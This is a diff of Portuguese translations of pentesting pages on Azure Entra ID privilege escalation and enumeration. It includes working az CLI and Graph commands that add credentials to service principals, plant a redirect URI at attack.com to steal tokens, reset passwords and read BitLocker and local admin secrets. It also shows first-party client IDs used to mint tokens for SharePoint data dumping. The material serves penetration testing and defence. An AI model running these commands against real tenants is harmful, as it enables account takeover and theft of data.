`applications/credentials/update`, mas restrito a aplicativos de diretório único. +Isso permite as mesmas ações que `applications/credentials/update`, mas com escopo limitado a aplicações de um único diretório. ```bash az ad app credential reset --id --append ``` ### `microsoft.directory/applications/owners/update` -Ao se adicionar como proprietário, um atacante pode manipular o aplicativo, incluindo credenciais e permissões. +Ao se adicionar como proprietário, um atacante pode manipular a aplicação, incluindo credentials e permissions. ```bash az ad app owner add --id --owner-object-id az ad app credential reset --id --append @@ -77,40 +77,153 @@ az ad app owner list --id ``` ### `microsoft.directory/applications/allProperties/update` -Um atacante pode adicionar uma URI de redirecionamento a aplicativos que estão sendo usados pelos usuários do locatário e, em seguida, compartilhar com eles URLs de login que usam a nova URL de redirecionamento para roubar seus tokens. Observe que, se o usuário já estiver logado no aplicativo, a autenticação será automática, sem que o usuário precise aceitar nada. +Um atacante pode adicionar uma redirect URI a aplicações que estão a ser usadas por usuários do tenant e depois partilhar com eles login URLs que usam a nova redirect URI para roubar os seus tokens. Observe que, se o usuário já estivesse autenticado na aplicação, a autenticação será automática sem que o usuário precise aceitar nada. -Observe que também é possível alterar as permissões que o aplicativo solicita para obter mais permissões, mas, nesse caso, o usuário precisará aceitar novamente o prompt que pede todas as permissões. +Observe que também é possível alterar as permissões que a aplicação solicita para obter mais privilégios, mas, neste caso, o usuário terá de aceitar novamente o prompt solicitando todas as permissões. ```bash # Get current redirect uris az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris" # Add a new redirect URI (make sure to keep the configured ones) az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback" ``` +### Elevação de Privilégios em Aplicações + +**Como explicado em [este post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era muito comum encontrar aplicações padrão que têm **API permissions** do tipo **`Application`** atribuídas a elas. Uma API Permission (como chamado no console do Entra ID) do tipo **`Application`** significa que a aplicação pode acessar a API e executar ações sem um contexto de usuário (sem um usuário fazer login na app), e sem precisar de roles do Entra ID para permitir isso. Portanto, é muito comum encontrar **aplicações com altos privilégios em todo tenant do Entra ID**. + +Então, se um atacante tiver qualquer permission/role que permita **atualizar as credenciais (secret o certificate) da aplicação**, o atacante pode gerar uma nova credencial e então usá-la para **autenticar-se como a aplicação**, obtendo todas as permissões que a aplicação possui. + +Note que o blog mencionado compartilha algumas **API permissions** de aplicações padrão comuns da Microsoft; entretanto, algum tempo após esse relatório a Microsoft corrigiu esse problema e agora não é mais possível login como aplicações da Microsoft. No entanto, ainda é possível encontrar **aplicações customizadas com altos privilégios que poderiam ser abusadas**. + +How to enumerate the API permissions of an application: +```bash +# Get "API Permissions" of an App +## Get the ResourceAppId +az ad app show --id "" --query "requiredResourceAccess" --output json +## e.g. +[ +{ +"resourceAccess": [ +{ +"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d", +"type": "Scope" +}, +{ +"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa", +"type": "Role" +} +], +"resourceAppId": "00000003-0000-0000-c000-000000000000" +} +] + +## For the perms of type "Scope" +az ad sp show --id --query "oauth2PermissionScopes[?id==''].value" -o tsv +az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv + +## For the perms of type "Role" +az ad sp show --id --query "appRoles[?id==''].value" -o tsv +az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv +``` +
+Encontrar todas as aplicações com permissões de API para APIs não-Microsoft (az cli) +```bash +#!/usr/bin/env bash +set -euo pipefail + +# Known Microsoft first-party owner organization IDs. +MICROSOFT_OWNER_ORG_IDS=( +"f8cdef31-a31e-4b4a-93e4-5f571e91255a" +"72f988bf-86f1-41af-91ab-2d7cd011db47" +) + +is_microsoft_owner() { +local owner="$1" +local id +for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do +if [ "$owner" = "$id" ]; then +return 0 +fi +done +return 1 +} + +command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; } +command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; } +az account show >/dev/null + +apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)" + +tmp_map="$(mktemp)" +tmp_ids="$(mktemp)" +trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT + +# Build unique resourceAppId values used by applications. +jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids" + +# Resolve resourceAppId -> owner organization + API display name. +while IFS= read -r rid; do +[ -n "$rid" ] || continue +sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)" +owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")" +name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")" +printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map" +done < "$tmp_ids" + +echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId" + +# Print only app permissions where the target API is NOT Microsoft-owned. +while IFS= read -r row; do +app_name="$(jq -r '.[0]' <<<"$row")" +app_id="$(jq -r '.[1]' <<<"$row")" + +while IFS= read -r rra; do +resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")" +map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")" +owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")" +resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")" + +[ -n "$owner_org" ] || owner_org="UNKNOWN" +[ -n "$resource_name" ] || resource_name="UNKNOWN" + +if is_microsoft_owner "$owner_org"; then +continue +fi + +while IFS= read -r access; do +perm_type="$(jq -r '.type' <<<"$access")" +perm_id="$(jq -r '.id' <<<"$access")" +echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}" +done < <(jq -c '.resourceAccess[]' <<<"$rra") +done < <(jq -c '.[2][]' <<<"$row") +done < <(jq -c '.[]' <<<"$apps_json") +``` +
+ ## Service Principals ### `microsoft.directory/servicePrincipals/credentials/update` -Isso permite que um atacante adicione credenciais a principais de serviço existentes. Se o principal de serviço tiver privilégios elevados, o atacante pode assumir esses privilégios. +Isto permite que um atacante adicione credenciais a service principals existentes. Se o service principal tiver privilégios elevados, o atacante pode assumir esses privilégios. ```bash az ad sp credential reset --id --append ``` > [!CAUTION] -> A nova senha gerada não aparecerá no console da web, então isso pode ser uma maneira discreta de manter a persistência sobre um principal de serviço.\ -> A partir da API, elas podem ser encontradas com: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` +> A nova password gerada não aparecerá no console web, então isso pode ser uma forma furtiva de manter persistência em um service principal.\ +> Via API elas podem ser encontradas com: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` -Se você receber o erro `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, é porque **não é possível modificar a propriedade passwordCredentials** do SP e primeiro você precisa desbloqueá-la. Para isso, você precisa de uma permissão (`microsoft.directory/applications/allProperties/update`) que permite que você execute: +If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **it's not possible to modify the passwordCredentials property** of the SP and first you need to unlock it. For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute: ```bash az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}' ``` ### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage` -Isso permite que um atacante adicione credenciais a principais de serviço existentes. Se o principal de serviço tiver privilégios elevados, o atacante pode assumir esses privilégios. +Isso permite que um attacker adicione credentials a service principals existentes. Se o service principal tiver privilégios elevados, o attacker pode assumir esses privilégios. ```bash az ad sp credential reset --id --append ``` ### `microsoft.directory/servicePrincipals/owners/update` -Semelhante às aplicações, esta permissão permite adicionar mais proprietários a um principal de serviço. Possuir um principal de serviço permite controle sobre suas credenciais e permissões. +Semelhante às applications, esta permissão permite adicionar mais owners a um service principal. Ser owner de um service principal permite controlar suas credentials e permissions. ```bash # Add new owner spId="" @@ -128,13 +241,13 @@ az ad sp credential reset --id --append az ad sp owner list --id ``` > [!CAUTION] -> Após adicionar um novo proprietário, tentei removê-lo, mas a API respondeu que o método DELETE não era suportado, mesmo sendo o método que você precisa usar para excluir o proprietário. Portanto, **não é possível remover proprietários atualmente**. +> Após adicionar um novo owner, tentei removê-lo, mas a API respondeu que o método DELETE não era suportado, mesmo sendo o método que você precisa usar para deletar o owner. Portanto **você não pode remover owners atualmente**. -### `microsoft.directory/servicePrincipals/disable` e `enable` +### `microsoft.directory/servicePrincipals/disable` and `enable` -Essas permissões permitem desabilitar e habilitar principais de serviço. Um atacante poderia usar essa permissão para habilitar um principal de serviço ao qual ele poderia obter acesso de alguma forma para escalar privilégios. +Essas permissões permitem desativar e ativar service principals. Um atacante poderia usar essa permissão para habilitar um service principal ao qual ele conseguisse obter acesso de alguma forma para escalar privilégios. -Observe que, para essa técnica, o atacante precisará de mais permissões para assumir o principal de serviço habilitado. +Observe que, para esta técnica, o atacante precisará de mais permissões para assumir o controle do service principal habilitado. ```bash # Disable az ad sp update --id --account-enabled false @@ -144,7 +257,7 @@ az ad sp update --id --account-enabled true ``` #### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials` -Essas permissões permitem criar e obter credenciais para single sign-on, o que pode permitir o acesso a aplicativos de terceiros. +Essas permissões permitem criar e obter credenciais para single sign-on (SSO), o que pode permitir o acesso a aplicativos de terceiros. ```bash # Generate SSO creds for a user or a group spID="" @@ -164,14 +277,6 @@ az rest --method POST \ --headers "Content-Type=application/json" \ --body "{\"id\": \"$credID\"}" ``` -### Escalação de Privilégios em Aplicações - -**Como explicado em [este post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, era muito comum encontrar aplicações padrão que têm **permissões de API** do tipo **`Application`** atribuídas a elas. Uma Permissão de API (como chamada no console do Entra ID) do tipo **`Application`** significa que a aplicação pode acessar a API sem um contexto de usuário (sem um usuário logado no aplicativo) e sem precisar de funções do Entra ID para permitir isso. Portanto, é muito comum encontrar **aplicações com altos privilégios em cada locatário do Entra ID**. - -Assim, se um atacante tiver qualquer permissão/função que permita **atualizar as credenciais (segredo ou certificado) da aplicação**, o atacante pode gerar uma nova credencial e, em seguida, usá-la para **autenticar-se como a aplicação**, ganhando todas as permissões que a aplicação possui. - -Observe que o blog mencionado compartilha algumas **permissões de API** de aplicações padrão comuns da Microsoft, no entanto, algum tempo após este relatório, a Microsoft corrigiu esse problema e agora não é mais possível fazer login como aplicações da Microsoft. No entanto, ainda é possível encontrar **aplicações personalizadas com altos privilégios que podem ser abusadas**. - --- ## Grupos @@ -182,26 +287,26 @@ Esta permissão permite adicionar usuários a grupos privilegiados, levando à e ```bash az ad group member add --group --member-id ``` -**Nota**: Esta permissão exclui grupos atribuíveis a funções do Entra ID. +**Nota**: Esta permissão exclui os grupos atribuíveis a função do Entra ID. ### `microsoft.directory/groups/owners/update` -Esta permissão permite se tornar um proprietário de grupos. Um proprietário de um grupo pode controlar a associação e as configurações do grupo, potencialmente escalando privilégios para o grupo. +Esta permissão permite tornar-se proprietário de grupos. Um proprietário de um grupo pode controlar a associação e as configurações do grupo, potencialmente escalando privilégios no grupo. ```bash az ad group owner add --group --owner-object-id az ad group member add --group --member-id ``` -**Nota**: Esta permissão exclui grupos atribuíveis a funções do Entra ID. +**Nota**: Esta permissão exclui grupos atribuíveis por função do Entra ID. ### `microsoft.directory/groups/members/update` -Esta permissão permite adicionar membros a um grupo. Um atacante poderia se adicionar ou adicionar contas maliciosas a grupos privilegiados, o que pode conceder acesso elevado. +Esta permissão permite adicionar membros a um grupo. Um atacante poderia adicionar a si mesmo ou contas maliciosas a grupos privilegiados, o que pode conceder acesso elevado. ```bash az ad group member add --group --member-id ``` ### `microsoft.directory/groups/dynamicMembershipRule/update` -Esta permissão permite atualizar a regra de associação em um grupo dinâmico. Um atacante poderia modificar as regras dinâmicas para incluir a si mesmo em grupos privilegiados sem adição explícita. +Esta permissão permite atualizar a regra de associação de membros em um grupo dinâmico. Um atacante poderia modificar regras dinâmicas para incluir a si mesmo em grupos privilegiados sem adição explícita. ```bash groupId="" az rest --method PATCH \ @@ -212,11 +317,11 @@ az rest --method PATCH \ "membershipRuleProcessingState": "On" }' ``` -**Nota**: Esta permissão exclui grupos atribuíveis a funções do Entra ID. +**Nota**: Esta permissão exclui Entra ID role-assignable groups. -### Privesc de Grupos Dinâmicos +### Dynamic Groups Privesc -Pode ser possível para os usuários escalarem privilégios modificando suas próprias propriedades para serem adicionados como membros de grupos dinâmicos. Para mais informações, consulte: +Pode ser possível que usuários escalem privilégios modificando suas próprias propriedades para serem adicionados como membros de dynamic groups. Para mais informações, consulte: {{#ref}} dynamic-groups.md @@ -226,13 +331,13 @@ dynamic-groups.md ### `microsoft.directory/users/password/update` -Esta permissão permite redefinir a senha de usuários não administradores, permitindo que um potencial atacante escale privilégios para outros usuários. Esta permissão não pode ser atribuída a funções personalizadas. +Esta permissão permite redefinir a senha de usuários não-admin, permitindo que um atacante potencial escale privilégios para outros usuários. Esta permissão não pode ser atribuída a funções personalizadas. ```bash az ad user update --id --password "kweoifuh.234" ``` ### `microsoft.directory/users/basic/update` -Essa permissão permite modificar propriedades do usuário. É comum encontrar grupos dinâmicos que adicionam usuários com base nos valores das propriedades; portanto, essa permissão pode permitir que um usuário defina o valor da propriedade necessário para ser membro de um grupo dinâmico específico e escale privilégios. +Este privilégio permite modificar propriedades do usuário. É comum encontrar grupos dinâmicos que adicionam usuários com base nos valores das propriedades; portanto, essa permissão pode permitir que um usuário defina o valor de propriedade necessário para tornar-se membro de um grupo dinâmico específico e escalar privilégios. ```bash #e.g. change manager of a user victimUser="" @@ -248,9 +353,9 @@ az rest --method PATCH \ --headers "Content-Type=application/json" \ --body "{\"department\": \"security\"}" ``` -## Políticas de Acesso Condicional e Bypass de MFA +## Conditional Access Policies & MFA bypass -Políticas de acesso condicional mal configuradas que exigem MFA podem ser contornadas, verifique: +Políticas de Conditional Access mal configuradas que exigem MFA podem ser contornadas — verifique: {{#ref}} az-conditional-access-policies-mfa-bypass.md @@ -260,7 +365,7 @@ az-conditional-access-policies-mfa-bypass.md ### `microsoft.directory/devices/registeredOwners/update` -Esta permissão permite que atacantes se atribuam como proprietários de dispositivos para obter controle ou acesso a configurações e dados específicos do dispositivo. +Essa permissão permite que atacantes se atribuam como proprietários dos dispositivos para obter controle ou acesso às configurações e dados específicos do dispositivo. ```bash deviceId="" userId="" @@ -271,7 +376,7 @@ az rest --method POST \ ``` ### `microsoft.directory/devices/registeredUsers/update` -Esta permissão permite que atacantes associem sua conta a dispositivos para obter acesso ou contornar políticas de segurança. +Essa permissão permite que atacantes associem sua conta a dispositivos para obter acesso ou contornar políticas de segurança. ```bash deviceId="" userId="" @@ -282,7 +387,7 @@ az rest --method POST \ ``` ### `microsoft.directory/deviceLocalCredentials/password/read` -Esta permissão permite que atacantes leiam as propriedades das credenciais da conta de administrador local de backup para dispositivos associados ao Microsoft Entra, incluindo a senha. +Esta permissão permite que attackers leiam as propriedades das credenciais de conta de administrador local com backup para dispositivos ingressados no Microsoft Entra, incluindo a password ```bash # List deviceLocalCredentials az rest --method GET \ @@ -297,7 +402,7 @@ az rest --method GET \ ### `microsoft.directory/bitlockerKeys/key/read` -Esta permissão permite acessar chaves do BitLocker, o que pode permitir que um atacante decifre unidades, comprometendo a confidencialidade dos dados. +Esta permissão permite acessar as chaves BitLocker, o que pode permitir que um atacante descriptografe unidades, comprometendo a confidencialidade dos dados. ```bash # List recovery keys az rest --method GET \ diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index 94ab733d8..3eb9c0147 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -4,9 +4,9 @@ ## Informações Básicas -Azure Active Directory (Azure AD) funciona como o serviço baseado em nuvem da Microsoft para identidade e gerenciamento de acesso. Ele é instrumental para permitir que funcionários façam sign in e obtenham acesso a recursos, tanto dentro quanto fora da organização, abrangendo Microsoft 365, o Azure portal e uma multitude de outras aplicações SaaS. O design do Azure AD foca em fornecer serviços essenciais de identidade, destacando **autenticação, autorização e gerenciamento de usuários**. +Azure Active Directory (Azure AD) atua como o serviço em nuvem da Microsoft para gerenciamento de identidade e acesso. Ele é fundamental para permitir que funcionários façam login e obtenham acesso a recursos, tanto dentro quanto fora da organização, incluindo Microsoft 365, o Azure portal e uma infinidade de outras aplicações SaaS. O design do Azure AD foca em fornecer serviços essenciais de identidade, destacando-se **autenticação, autorização e gerenciamento de usuários**. -Recursos-chave do Azure AD envolvem **autenticação multifator** e **acesso condicional**, além de integração perfeita com outros serviços de segurança da Microsoft. Esses recursos elevam significativamente a segurança das identidades dos usuários e capacitam as organizações a implementar e aplicar efetivamente suas políticas de acesso. Como um componente fundamental do ecossistema de serviços em nuvem da Microsoft, o Azure AD é vital para o gerenciamento baseado em nuvem das identidades de usuários. +Recursos chave do Azure AD incluem **autenticação multifator** e **acesso condicional**, além de integração perfeita com outros serviços de segurança da Microsoft. Esses recursos elevam significativamente a segurança das identidades dos usuários e permitem que as organizações implementem e apliquem de forma eficaz suas políticas de acesso. Como componente fundamental do ecossistema de serviços em nuvem da Microsoft, o Azure AD é crucial para o gerenciamento em nuvem das identidades dos usuários. ## Enumeração @@ -185,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token {{#endtab }} {{#endtabs }} -Quando você faz **login** via **CLI** no Azure com qualquer programa, você está usando uma **Azure Application** de um **tenant** que pertence à **Microsoft**. Essas aplicações, como as que você pode criar na sua conta, **têm um client id**. Você **não conseguirá ver todas elas** nas **listas de aplicações permitidas** que pode ver no console, **mas elas são permitidas por padrão**. +When you **login** via **CLI** into Azure with any program, you are using an **Azure Application** from a **tenant** that belongs to **Microsoft**. These Applications, like the ones you can create in your account, **have a client id**. You **won't be able to see all of them** in the **allowed applications lists** you can see in the console, **but they are allowed by default**. -Por exemplo, um **powershell script** que **autentica** usa uma app com client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Mesmo que a app não apareça no console, um sysadmin poderia **bloquear essa aplicação** para que os usuários não possam acessar usando ferramentas que se conectam via essa App. +For example a **powershell script** that **authenticates** use an app with client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Even if the app doesn't appear in the console, a sysadmin could **block that application** so users cannot access using tools that connects via that App. -No entanto, existem **outros client-ids** de aplicações que **vão permitir que você se conecte ao Azure**: +However, there are **other client-ids** of applications that **will allow you to connect to Azure**: ```bash # The important part is the ClientId, which identifies the application to login inside Azure @@ -364,9 +364,9 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose ``` -### MFA & Políticas de Acesso Condicional +### MFA & Conditional Access Policies -É altamente recomendável habilitar MFA para todos os usuários; entretanto, algumas empresas não o configuram ou podem configurá-lo com um Conditional Access: o usuário será **obrigado a usar MFA se** fizer login a partir de um local específico, navegador ou **alguma condição**. Essas políticas, se não configuradas corretamente, podem ser suscetíveis a **bypasses**. Ver: +É altamente recomendado adicionar MFA a todos os usuários; no entanto, algumas empresas não o configuram ou podem configurá-lo com Conditional Access: o usuário será **MFA será exigido se** fizer login de uma localização específica, navegador ou **alguma condição**. Estas políticas, se não configuradas corretamente, podem ser suscetíveis a **bypasses**. Verifique: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -374,7 +374,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText ### Grupos -Para mais informações sobre grupos do Entra ID, veja: +Para mais informações sobre Entra ID groups consulte: {{#ref}} ../az-basic-information/ @@ -488,8 +488,8 @@ Os proprietários do grupo podem adicionar novos usuários ao grupo Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] -> Grupos podem ser dinâmicos, o que basicamente significa que **se um user cumprir certas condições ele será adicionado a um grupo**. Claro, se as condições se basearem em **atributos** que um **user** pode **controlar**, ele pode abusar dessa funcionalidade para **entrar em outros grupos**.\ -> Veja como abusar de grupos dinâmicos na seguinte página: +> Grupos podem ser dinâmicos, o que basicamente significa que **se um usuário cumprir certas condições ele será adicionado a um grupo**. Claro, se as condições se basearem em **atributos** que um **usuário** pode **controlar**, ele pode abusar desse recurso para **entrar em outros grupos**.\ +> Veja como abusar de grupos dinâmicos na página a seguir: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md @@ -497,7 +497,7 @@ Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ### Service Principals -Para mais informações sobre Entra ID service principals consulte: +Para mais informações sobre Entra ID service principals, veja: {{#ref}} ../az-basic-information/ @@ -715,10 +715,10 @@ Para mais informações sobre Aplicações consulte: ../az-basic-information/ {{#endref}} -Quando uma Aplicação é gerada, são concedidos dois tipos de permissões: +Quando um App é gerado, são concedidos 2 tipos de permissões: - **Permissões** concedidas ao **Service Principal** -- **Permissões** que a **aplicação** pode ter e usar em **nome do usuário**. +- **Permissões** que o **app** pode ter e usar em **nome do usuário**. {{#tabs }} {{#tab name="az cli" }} @@ -771,6 +771,81 @@ az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2Permiss az ad sp show --id --query "appRoles[?id==''].value" -o tsv az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv ``` +
+Encontrar todas as aplicações com permissões de API para APIs não Microsoft (az cli) +```bash +#!/usr/bin/env bash +set -euo pipefail + +# Known Microsoft first-party owner organization IDs. +MICROSOFT_OWNER_ORG_IDS=( +"f8cdef31-a31e-4b4a-93e4-5f571e91255a" +"72f988bf-86f1-41af-91ab-2d7cd011db47" +) + +is_microsoft_owner() { +local owner="$1" +local id +for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do +if [ "$owner" = "$id" ]; then +return 0 +fi +done +return 1 +} + +command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; } +command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; } +az account show >/dev/null + +apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)" + +tmp_map="$(mktemp)" +tmp_ids="$(mktemp)" +trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT + +# Build unique resourceAppId values used by applications. +jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids" + +# Resolve resourceAppId -> owner organization + API display name. +while IFS= read -r rid; do +[ -n "$rid" ] || continue +sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)" +owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")" +name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")" +printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map" +done < "$tmp_ids" + +echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId" + +# Print only app permissions where the target API is NOT Microsoft-owned. +while IFS= read -r row; do +app_name="$(jq -r '.[0]' <<<"$row")" +app_id="$(jq -r '.[1]' <<<"$row")" + +while IFS= read -r rra; do +resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")" +map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")" +owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")" +resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")" + +[ -n "$owner_org" ] || owner_org="UNKNOWN" +[ -n "$resource_name" ] || resource_name="UNKNOWN" + +if is_microsoft_owner "$owner_org"; then +continue +fi + +while IFS= read -r access; do +perm_type="$(jq -r '.type' <<<"$access")" +perm_id="$(jq -r '.id' <<<"$access")" +echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}" +done < <(jq -c '.resourceAccess[]' <<<"$rra") +done < <(jq -c '.[2][]' <<<"$row") +done < <(jq -c '.[]' <<<"$apps_json") +``` +
+ {{#endtab }} {{#tab name="Az" }} @@ -820,21 +895,21 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * {{#endtabs }} > [!WARNING] -> Um app com a permissão **`AppRoleAssignment.ReadWrite`** pode **escalar para Global Admin** concedendo a si mesmo o role.\ +> Um app com a permissão **`AppRoleAssignment.ReadWrite`** pode **escalar para Global Admin** concedendo a si mesmo a role.\ > Para mais informações [**veja isto**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). > [!NOTE] -> Uma string secreta que a aplicação usa para provar sua identidade ao solicitar um token é a application password.\ -> Portanto, se encontrar esta **password** você pode acessar como o **service principal** **dentro** do **tenant**.\ -> Observe que esta **password** só fica visível quando gerada (você pode alterá-la, mas não pode obtê-la novamente).\ -> O **owner** da **application** pode **add a password** a ela (assim ele pode se passar por ela).\ -> Logins como esses **service principals** não são marcados como arriscados e eles **não terão MFA.** +> Uma string secreta que a aplicação usa para provar sua identidade ao solicitar um token é a senha da aplicação.\ +> Portanto, se você encontrar essa **senha** pode acessar como o **service principal** **dentro** do **tenant**.\ +> Observe que essa senha só é visível quando gerada (você pode alterá-la, mas não pode recuperá-la).\ +> O **proprietário** da **aplicação** pode **adicionar uma senha** a ela (assim ele pode se passar por ela).\ +> Os logins desses service principals **não são marcados como arriscados** e eles **não terão MFA.** É possível encontrar uma lista de App IDs comumente usados que pertencem à Microsoft em [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) ### Managed Identities -Para mais informações sobre Managed Identities, consulte: +Para mais informações sobre Managed Identities consulte: {{#ref}} ../az-basic-information/ @@ -852,7 +927,7 @@ az identity list --output table ### Funções do Azure -Para mais informações sobre as funções do Azure, consulte: +Para mais informações sobre funções do Azure, consulte: {{#ref}} ../az-basic-information/ @@ -939,7 +1014,7 @@ Headers = @{ ### Entra ID Roles -Para mais informações sobre Azure roles, consulte: +Para mais informações sobre as funções do Azure, consulte: {{#ref}} ../az-basic-information/ @@ -1060,8 +1135,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember {{#endtabs }} > [!WARNING] -> Se um dispositivo (VM) estiver **AzureAD joined**, usuários do AzureAD poderão **fazer login**.\ -> Além disso, se o usuário logado for **Owner** do dispositivo, ele será **local admin**. +> Se um dispositivo (VM) estiver **AzureAD joined**, usuários do AzureAD poderão **efetuar login**.\ +> Além disso, se o usuário logado for **Owner** do dispositivo, ele será **administrador local**. ### Unidades Administrativas @@ -1102,12 +1177,12 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members ## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper) -Attackers with a **delegated Microsoft Graph token** that includes **`Sites.Read.All`** or **`Sites.ReadWrite.All`** can enumerate **sites/drives/items** over Graph and then **pull file contents** via **SharePoint pre-authentication download URLs** (time-limited URLs embedding an access token). The [SharePointDumper](https://github.com/zh54321/SharePointDumper) script automates the full flow (enumeration → pre-auth downloads) and emits per-request telemetry for detection testing. +Atores maliciosos com um **token delegado do Microsoft Graph** que inclua **`Sites.Read.All`** ou **`Sites.ReadWrite.All`** podem enumerar **sites/drives/items** via Graph e então **obter o conteúdo de arquivos** através de **SharePoint pre-authentication download URLs** (URLs temporárias que incorporam um access token). O script [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatiza todo o fluxo (enumeração → downloads pré-auth) e gera telemetria por requisição para testes de detecção. ### Obtaining usable delegated tokens -- SharePointDumper itself **does not authenticate**; supply an access token (optionally refresh token). -- Pre-consented **first-party clients** can be abused to mint a Graph token without registering an app. Example `Invoke-Auth` (from [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) invocations: +- O próprio SharePointDumper **não autentica**; forneça um access token (opcionalmente um refresh token). +- Clientes first-party pré-consentidos podem ser abusados para emitir um token do Graph sem registrar um app. Exemplo de invocações `Invoke-Auth` (do [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)): ```powershell # CAE requested by default; yields long-lived (~24h) access token Import-Module ./EntraTokenAid/EntraTokenAid.psm1 @@ -1120,11 +1195,11 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE) ``` > [!NOTE] -> Clientes FOCI TRUE suportam refresh entre dispositivos; clientes FOCI FALSE frequentemente 